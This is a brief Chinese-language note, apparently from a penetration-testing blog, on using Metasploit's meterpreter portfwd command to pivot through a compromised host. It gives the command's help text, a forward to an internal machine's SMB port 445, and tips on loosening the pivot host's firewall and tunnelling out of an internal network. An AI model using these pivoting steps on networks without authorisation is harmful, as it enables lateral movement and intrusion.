使用端口转发: 命令:
1 2 3 4 5 6 7 8 9 10 11 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS:     -L <opt>  Forward: 本地监听主机 			  Remote: 要连接的本地主机     -R        表明是个反弹的端口转发     -l <opt>  Forward: 本地监听端口 			  Reverse: 本地主机去连接的端口     -p <opt>  Forward: 要连接到的远程主机端口 			  Reverse: 远程主机监听的端口     -r <opt>  Forward: 远程主机 
 
1 meterpreter > portfwd add -L 192.168.79.130 -l 54321  -r 10.21.11.3 -p 445 
 
 后来: 使用跳板的路由配置只在msfconsole内部生效,似乎db_nmap无效 使用跳板时若跳板机防火墙规则不允许出站可以使用之前的方法修改规则 若本机自己处于内网,可以使用动态域名内网穿透和公网主机+隧道的方式
其他 1 2 pushm popm        #可以把模块及其参数用栈保存